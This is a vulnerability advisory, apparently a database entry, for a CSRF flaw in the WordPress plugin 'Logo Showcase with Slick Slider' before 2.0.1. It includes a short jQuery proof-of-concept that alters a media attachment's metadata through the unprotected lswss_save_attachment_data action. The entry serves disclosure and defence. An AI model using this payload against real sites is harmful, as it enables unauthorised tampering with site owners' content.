Logo Showcase with Slick Slider < 2.0.1 - Arbitrary Media Title/Description/Alt Text/URL Update via CSRF

2022-01-3100:00:00

apple502j

299

0.001 Low

EPSS

Percentile

30.1%

JSON

The plugin does not have CSRF check in the lswss_save_attachment_data AJAX action, allowing attackers to make a logged in high privilege user, change title, description, alt text, and URL of arbitrary uploaded media.

jQuery.post(ajaxurl,{
action: "lswss_save_attachment_data",
attachment_id: 564,
form_data: "lswss_attachment_title=Test&lswss_attachment_desc=Changed%20via%20CSRF&lswss_attachment_alt=Alt%20text&lswss_attachment_link="
})

References

plugins.trac.wordpress.org/changeset/2669404

0.001 Low

EPSS

Percentile

30.1%

JSON

Related for WPEX-ID:2F499945-1924-49F0-AD6E-9192273A5C05